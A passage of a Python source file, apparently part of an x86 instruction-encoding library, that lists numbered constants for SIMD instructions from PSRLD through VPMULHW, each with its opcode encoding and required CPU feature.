PSRLD_XMM_XMMM128: int = 2225
"""
``PSRLD xmm1, xmm2/m128``
``66 0F D2 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSRLD_XMM_XMM_XMMM128: int = 2226
"""
``VPSRLD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG D2 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSRLD_YMM_YMM_XMMM128: int = 2227
"""
``VPSRLD ymm1, ymm2, xmm3/m128``
``VEX.256.66.0F.WIG D2 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSRLD_XMM_K1Z_XMM_XMMM128: int = 2228
"""
``VPSRLD xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.W0 D2 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRLD_YMM_K1Z_YMM_XMMM128: int = 2229
"""
``VPSRLD ymm1 {k1}{z}, ymm2, xmm3/m128``
``EVEX.256.66.0F.W0 D2 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRLD_ZMM_K1Z_ZMM_XMMM128: int = 2230
"""
``VPSRLD zmm1 {k1}{z}, zmm2, xmm3/m128``
``EVEX.512.66.0F.W0 D2 /r``
``AVX512F``
``16/32/64-bit``
"""
PSRLQ_MM_MMM64: int = 2231
"""
``PSRLQ mm, mm/m64``
``NP 0F D3 /r``
``MMX``
``16/32/64-bit``
"""
PSRLQ_XMM_XMMM128: int = 2232
"""
``PSRLQ xmm1, xmm2/m128``
``66 0F D3 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSRLQ_XMM_XMM_XMMM128: int = 2233
"""
``VPSRLQ xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG D3 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSRLQ_YMM_YMM_XMMM128: int = 2234
"""
``VPSRLQ ymm1, ymm2, xmm3/m128``
``VEX.256.66.0F.WIG D3 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSRLQ_XMM_K1Z_XMM_XMMM128: int = 2235
"""
``VPSRLQ xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.W1 D3 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRLQ_YMM_K1Z_YMM_XMMM128: int = 2236
"""
``VPSRLQ ymm1 {k1}{z}, ymm2, xmm3/m128``
``EVEX.256.66.0F.W1 D3 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRLQ_ZMM_K1Z_ZMM_XMMM128: int = 2237
"""
``VPSRLQ zmm1 {k1}{z}, zmm2, xmm3/m128``
``EVEX.512.66.0F.W1 D3 /r``
``AVX512F``
``16/32/64-bit``
"""
PADDQ_MM_MMM64: int = 2238
"""
``PADDQ mm, mm/m64``
``NP 0F D4 /r``
``MMX``
``16/32/64-bit``
"""
PADDQ_XMM_XMMM128: int = 2239
"""
``PADDQ xmm1, xmm2/m128``
``66 0F D4 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPADDQ_XMM_XMM_XMMM128: int = 2240
"""
``VPADDQ xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG D4 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPADDQ_YMM_YMM_YMMM256: int = 2241
"""
``VPADDQ ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG D4 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPADDQ_XMM_K1Z_XMM_XMMM128B64: int = 2242
"""
``VPADDQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 D4 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPADDQ_YMM_K1Z_YMM_YMMM256B64: int = 2243
"""
``VPADDQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 D4 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPADDQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2244
"""
``VPADDQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F.W1 D4 /r``
``AVX512F``
``16/32/64-bit``
"""
PMULLW_MM_MMM64: int = 2245
"""
``PMULLW mm, mm/m64``
``NP 0F D5 /r``
``MMX``
``16/32/64-bit``
"""
PMULLW_XMM_XMMM128: int = 2246
"""
``PMULLW xmm1, xmm2/m128``
``66 0F D5 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPMULLW_XMM_XMM_XMMM128: int = 2247
"""
``VPMULLW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG D5 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMULLW_YMM_YMM_YMMM256: int = 2248
"""
``VPMULLW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG D5 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMULLW_XMM_K1Z_XMM_XMMM128: int = 2249
"""
``VPMULLW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG D5 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMULLW_YMM_K1Z_YMM_YMMM256: int = 2250
"""
``VPMULLW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG D5 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMULLW_ZMM_K1Z_ZMM_ZMMM512: int = 2251
"""
``VPMULLW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG D5 /r``
``AVX512BW``
``16/32/64-bit``
"""
MOVQ_XMMM64_XMM: int = 2252
"""
``MOVQ xmm2/m64, xmm1``
``66 0F D6 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMOVQ_XMMM64_XMM: int = 2253
"""
``VMOVQ xmm1/m64, xmm2``
``VEX.128.66.0F.WIG D6 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVQ_XMMM64_XMM: int = 2254
"""
``VMOVQ xmm1/m64, xmm2``
``EVEX.128.66.0F.W1 D6 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVQ2DQ_XMM_MM: int = 2255
"""
``MOVQ2DQ xmm, mm``
``F3 0F D6 /r``
``SSE2``
``16/32/64-bit``
"""
MOVDQ2Q_MM_XMM: int = 2256
"""
``MOVDQ2Q mm, xmm``
``F2 0F D6 /r``
``SSE2``
``16/32/64-bit``
"""
PMOVMSKB_R32_MM: int = 2257
"""
``PMOVMSKB r32, mm``
``NP 0F D7 /r``
``SSE``
``16/32/64-bit``
"""
PMOVMSKB_R64_MM: int = 2258
"""
``PMOVMSKB r64, mm``
``NP o64 0F D7 /r``
``SSE``
``64-bit``
"""
PMOVMSKB_R32_XMM: int = 2259
"""
``PMOVMSKB r32, xmm``
``66 0F D7 /r``
``SSE2``
``16/32/64-bit``
"""
PMOVMSKB_R64_XMM: int = 2260
"""
``PMOVMSKB r64, xmm``
``66 o64 0F D7 /r``
``SSE2``
``64-bit``
"""
VEX_VPMOVMSKB_R32_XMM: int = 2261
"""
``VPMOVMSKB r32, xmm1``
``VEX.128.66.0F.W0 D7 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMOVMSKB_R64_XMM: int = 2262
"""
``VPMOVMSKB r64, xmm1``
``VEX.128.66.0F.W1 D7 /r``
``AVX``
``64-bit``
"""
VEX_VPMOVMSKB_R32_YMM: int = 2263
"""
``VPMOVMSKB r32, ymm1``
``VEX.256.66.0F.W0 D7 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPMOVMSKB_R64_YMM: int = 2264
"""
``VPMOVMSKB r64, ymm1``
``VEX.256.66.0F.W1 D7 /r``
``AVX2``
``64-bit``
"""
PSUBUSB_MM_MMM64: int = 2265
"""
``PSUBUSB mm, mm/m64``
``NP 0F D8 /r``
``MMX``
``16/32/64-bit``
"""
PSUBUSB_XMM_XMMM128: int = 2266
"""
``PSUBUSB xmm1, xmm2/m128``
``66 0F D8 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSUBUSB_XMM_XMM_XMMM128: int = 2267
"""
``VPSUBUSB xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG D8 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSUBUSB_YMM_YMM_YMMM256: int = 2268
"""
``VPSUBUSB ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG D8 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSUBUSB_XMM_K1Z_XMM_XMMM128: int = 2269
"""
``VPSUBUSB xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG D8 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSUBUSB_YMM_K1Z_YMM_YMMM256: int = 2270
"""
``VPSUBUSB ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG D8 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSUBUSB_ZMM_K1Z_ZMM_ZMMM512: int = 2271
"""
``VPSUBUSB zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG D8 /r``
``AVX512BW``
``16/32/64-bit``
"""
PSUBUSW_MM_MMM64: int = 2272
"""
``PSUBUSW mm, mm/m64``
``NP 0F D9 /r``
``MMX``
``16/32/64-bit``
"""
PSUBUSW_XMM_XMMM128: int = 2273
"""
``PSUBUSW xmm1, xmm2/m128``
``66 0F D9 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSUBUSW_XMM_XMM_XMMM128: int = 2274
"""
``VPSUBUSW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG D9 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSUBUSW_YMM_YMM_YMMM256: int = 2275
"""
``VPSUBUSW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG D9 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSUBUSW_XMM_K1Z_XMM_XMMM128: int = 2276
"""
``VPSUBUSW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG D9 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSUBUSW_YMM_K1Z_YMM_YMMM256: int = 2277
"""
``VPSUBUSW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG D9 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSUBUSW_ZMM_K1Z_ZMM_ZMMM512: int = 2278
"""
``VPSUBUSW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG D9 /r``
``AVX512BW``
``16/32/64-bit``
"""
PMINUB_MM_MMM64: int = 2279
"""
``PMINUB mm1, mm2/m64``
``NP 0F DA /r``
``SSE``
``16/32/64-bit``
"""
PMINUB_XMM_XMMM128: int = 2280
"""
``PMINUB xmm1, xmm2/m128``
``66 0F DA /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPMINUB_XMM_XMM_XMMM128: int = 2281
"""
``VPMINUB xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG DA /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMINUB_YMM_YMM_YMMM256: int = 2282
"""
``VPMINUB ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG DA /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMINUB_XMM_K1Z_XMM_XMMM128: int = 2283
"""
``VPMINUB xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG DA /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMINUB_YMM_K1Z_YMM_YMMM256: int = 2284
"""
``VPMINUB ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG DA /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMINUB_ZMM_K1Z_ZMM_ZMMM512: int = 2285
"""
``VPMINUB zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG DA /r``
``AVX512BW``
``16/32/64-bit``
"""
PAND_MM_MMM64: int = 2286
"""
``PAND mm, mm/m64``
``NP 0F DB /r``
``MMX``
``16/32/64-bit``
"""
PAND_XMM_XMMM128: int = 2287
"""
``PAND xmm1, xmm2/m128``
``66 0F DB /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPAND_XMM_XMM_XMMM128: int = 2288
"""
``VPAND xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG DB /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPAND_YMM_YMM_YMMM256: int = 2289
"""
``VPAND ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG DB /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPANDD_XMM_K1Z_XMM_XMMM128B32: int = 2290
"""
``VPANDD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F.W0 DB /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPANDD_YMM_K1Z_YMM_YMMM256B32: int = 2291
"""
``VPANDD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F.W0 DB /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPANDD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2292
"""
``VPANDD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F.W0 DB /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPANDQ_XMM_K1Z_XMM_XMMM128B64: int = 2293
"""
``VPANDQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 DB /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPANDQ_YMM_K1Z_YMM_YMMM256B64: int = 2294
"""
``VPANDQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 DB /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPANDQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2295
"""
``VPANDQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F.W1 DB /r``
``AVX512F``
``16/32/64-bit``
"""
PADDUSB_MM_MMM64: int = 2296
"""
``PADDUSB mm, mm/m64``
``NP 0F DC /r``
``MMX``
``16/32/64-bit``
"""
PADDUSB_XMM_XMMM128: int = 2297
"""
``PADDUSB xmm1, xmm2/m128``
``66 0F DC /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPADDUSB_XMM_XMM_XMMM128: int = 2298
"""
``VPADDUSB xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG DC /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPADDUSB_YMM_YMM_YMMM256: int = 2299
"""
``VPADDUSB ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG DC /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPADDUSB_XMM_K1Z_XMM_XMMM128: int = 2300
"""
``VPADDUSB xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG DC /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPADDUSB_YMM_K1Z_YMM_YMMM256: int = 2301
"""
``VPADDUSB ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG DC /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPADDUSB_ZMM_K1Z_ZMM_ZMMM512: int = 2302
"""
``VPADDUSB zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG DC /r``
``AVX512BW``
``16/32/64-bit``
"""
PADDUSW_MM_MMM64: int = 2303
"""
``PADDUSW mm, mm/m64``
``NP 0F DD /r``
``MMX``
``16/32/64-bit``
"""
PADDUSW_XMM_XMMM128: int = 2304
"""
``PADDUSW xmm1, xmm2/m128``
``66 0F DD /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPADDUSW_XMM_XMM_XMMM128: int = 2305
"""
``VPADDUSW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG DD /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPADDUSW_YMM_YMM_YMMM256: int = 2306
"""
``VPADDUSW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG DD /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPADDUSW_XMM_K1Z_XMM_XMMM128: int = 2307
"""
``VPADDUSW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG DD /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPADDUSW_YMM_K1Z_YMM_YMMM256: int = 2308
"""
``VPADDUSW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG DD /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPADDUSW_ZMM_K1Z_ZMM_ZMMM512: int = 2309
"""
``VPADDUSW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG DD /r``
``AVX512BW``
``16/32/64-bit``
"""
PMAXUB_MM_MMM64: int = 2310
"""
``PMAXUB mm1, mm2/m64``
``NP 0F DE /r``
``SSE``
``16/32/64-bit``
"""
PMAXUB_XMM_XMMM128: int = 2311
"""
``PMAXUB xmm1, xmm2/m128``
``66 0F DE /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPMAXUB_XMM_XMM_XMMM128: int = 2312
"""
``VPMAXUB xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG DE /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMAXUB_YMM_YMM_YMMM256: int = 2313
"""
``VPMAXUB ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG DE /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMAXUB_XMM_K1Z_XMM_XMMM128: int = 2314
"""
``VPMAXUB xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG DE /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMAXUB_YMM_K1Z_YMM_YMMM256: int = 2315
"""
``VPMAXUB ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG DE /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMAXUB_ZMM_K1Z_ZMM_ZMMM512: int = 2316
"""
``VPMAXUB zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG DE /r``
``AVX512BW``
``16/32/64-bit``
"""
PANDN_MM_MMM64: int = 2317
"""
``PANDN mm, mm/m64``
``NP 0F DF /r``
``MMX``
``16/32/64-bit``
"""
PANDN_XMM_XMMM128: int = 2318
"""
``PANDN xmm1, xmm2/m128``
``66 0F DF /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPANDN_XMM_XMM_XMMM128: int = 2319
"""
``VPANDN xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG DF /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPANDN_YMM_YMM_YMMM256: int = 2320
"""
``VPANDN ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG DF /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPANDND_XMM_K1Z_XMM_XMMM128B32: int = 2321
"""
``VPANDND xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F.W0 DF /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPANDND_YMM_K1Z_YMM_YMMM256B32: int = 2322
"""
``VPANDND ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F.W0 DF /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPANDND_ZMM_K1Z_ZMM_ZMMM512B32: int = 2323
"""
``VPANDND zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F.W0 DF /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPANDNQ_XMM_K1Z_XMM_XMMM128B64: int = 2324
"""
``VPANDNQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 DF /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPANDNQ_YMM_K1Z_YMM_YMMM256B64: int = 2325
"""
``VPANDNQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 DF /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPANDNQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2326
"""
``VPANDNQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F.W1 DF /r``
``AVX512F``
``16/32/64-bit``
"""
PAVGB_MM_MMM64: int = 2327
"""
``PAVGB mm1, mm2/m64``
``NP 0F E0 /r``
``SSE``
``16/32/64-bit``
"""
PAVGB_XMM_XMMM128: int = 2328
"""
``PAVGB xmm1, xmm2/m128``
``66 0F E0 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPAVGB_XMM_XMM_XMMM128: int = 2329
"""
``VPAVGB xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG E0 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPAVGB_YMM_YMM_YMMM256: int = 2330
"""
``VPAVGB ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG E0 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPAVGB_XMM_K1Z_XMM_XMMM128: int = 2331
"""
``VPAVGB xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG E0 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPAVGB_YMM_K1Z_YMM_YMMM256: int = 2332
"""
``VPAVGB ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG E0 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPAVGB_ZMM_K1Z_ZMM_ZMMM512: int = 2333
"""
``VPAVGB zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG E0 /r``
``AVX512BW``
``16/32/64-bit``
"""
PSRAW_MM_MMM64: int = 2334
"""
``PSRAW mm, mm/m64``
``NP 0F E1 /r``
``MMX``
``16/32/64-bit``
"""
PSRAW_XMM_XMMM128: int = 2335
"""
``PSRAW xmm1, xmm2/m128``
``66 0F E1 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSRAW_XMM_XMM_XMMM128: int = 2336
"""
``VPSRAW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG E1 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSRAW_YMM_YMM_XMMM128: int = 2337
"""
``VPSRAW ymm1, ymm2, xmm3/m128``
``VEX.256.66.0F.WIG E1 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSRAW_XMM_K1Z_XMM_XMMM128: int = 2338
"""
``VPSRAW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG E1 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSRAW_YMM_K1Z_YMM_XMMM128: int = 2339
"""
``VPSRAW ymm1 {k1}{z}, ymm2, xmm3/m128``
``EVEX.256.66.0F.WIG E1 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSRAW_ZMM_K1Z_ZMM_XMMM128: int = 2340
"""
``VPSRAW zmm1 {k1}{z}, zmm2, xmm3/m128``
``EVEX.512.66.0F.WIG E1 /r``
``AVX512BW``
``16/32/64-bit``
"""
PSRAD_MM_MMM64: int = 2341
"""
``PSRAD mm, mm/m64``
``NP 0F E2 /r``
``MMX``
``16/32/64-bit``
"""
PSRAD_XMM_XMMM128: int = 2342
"""
``PSRAD xmm1, xmm2/m128``
``66 0F E2 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSRAD_XMM_XMM_XMMM128: int = 2343
"""
``VPSRAD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG E2 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSRAD_YMM_YMM_XMMM128: int = 2344
"""
``VPSRAD ymm1, ymm2, xmm3/m128``
``VEX.256.66.0F.WIG E2 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSRAD_XMM_K1Z_XMM_XMMM128: int = 2345
"""
``VPSRAD xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.W0 E2 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRAD_YMM_K1Z_YMM_XMMM128: int = 2346
"""
``VPSRAD ymm1 {k1}{z}, ymm2, xmm3/m128``
``EVEX.256.66.0F.W0 E2 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRAD_ZMM_K1Z_ZMM_XMMM128: int = 2347
"""
``VPSRAD zmm1 {k1}{z}, zmm2, xmm3/m128``
``EVEX.512.66.0F.W0 E2 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRAQ_XMM_K1Z_XMM_XMMM128: int = 2348
"""
``VPSRAQ xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.W1 E2 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRAQ_YMM_K1Z_YMM_XMMM128: int = 2349
"""
``VPSRAQ ymm1 {k1}{z}, ymm2, xmm3/m128``
``EVEX.256.66.0F.W1 E2 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRAQ_ZMM_K1Z_ZMM_XMMM128: int = 2350
"""
``VPSRAQ zmm1 {k1}{z}, zmm2, xmm3/m128``
``EVEX.512.66.0F.W1 E2 /r``
``AVX512F``
``16/32/64-bit``
"""
PAVGW_MM_MMM64: int = 2351
"""
``PAVGW mm1, mm2/m64``
``NP 0F E3 /r``
``SSE``
``16/32/64-bit``
"""
PAVGW_XMM_XMMM128: int = 2352
"""
``PAVGW xmm1, xmm2/m128``
``66 0F E3 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPAVGW_XMM_XMM_XMMM128: int = 2353
"""
``VPAVGW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG E3 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPAVGW_YMM_YMM_YMMM256: int = 2354
"""
``VPAVGW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG E3 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPAVGW_XMM_K1Z_XMM_XMMM128: int = 2355
"""
``VPAVGW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG E3 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPAVGW_YMM_K1Z_YMM_YMMM256: int = 2356
"""
``VPAVGW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG E3 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPAVGW_ZMM_K1Z_ZMM_ZMMM512: int = 2357
"""
``VPAVGW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG E3 /r``
``AVX512BW``
``16/32/64-bit``
"""
PMULHUW_MM_MMM64: int = 2358
"""
``PMULHUW mm1, mm2/m64``
``NP 0F E4 /r``
``SSE``
``16/32/64-bit``
"""
PMULHUW_XMM_XMMM128: int = 2359
"""
``PMULHUW xmm1, xmm2/m128``
``66 0F E4 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPMULHUW_XMM_XMM_XMMM128: int = 2360
"""
``VPMULHUW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG E4 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMULHUW_YMM_YMM_YMMM256: int = 2361
"""
``VPMULHUW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG E4 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMULHUW_XMM_K1Z_XMM_XMMM128: int = 2362
"""
``VPMULHUW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG E4 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMULHUW_YMM_K1Z_YMM_YMMM256: int = 2363
"""
``VPMULHUW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG E4 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMULHUW_ZMM_K1Z_ZMM_ZMMM512: int = 2364
"""
``VPMULHUW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG E4 /r``
``AVX512BW``
``16/32/64-bit``
"""
PMULHW_MM_MMM64: int = 2365
"""
``PMULHW mm, mm/m64``
``NP 0F E5 /r``
``MMX``
``16/32/64-bit``
"""
PMULHW_XMM_XMMM128: int = 2366
"""
``PMULHW xmm1, xmm2/m128``
``66 0F E5 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPMULHW_XMM_XMM_XMMM128: int = 2367
"""
``VPMULHW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG E5 /r``
``AVX``
``16/32/64-bit``
"""
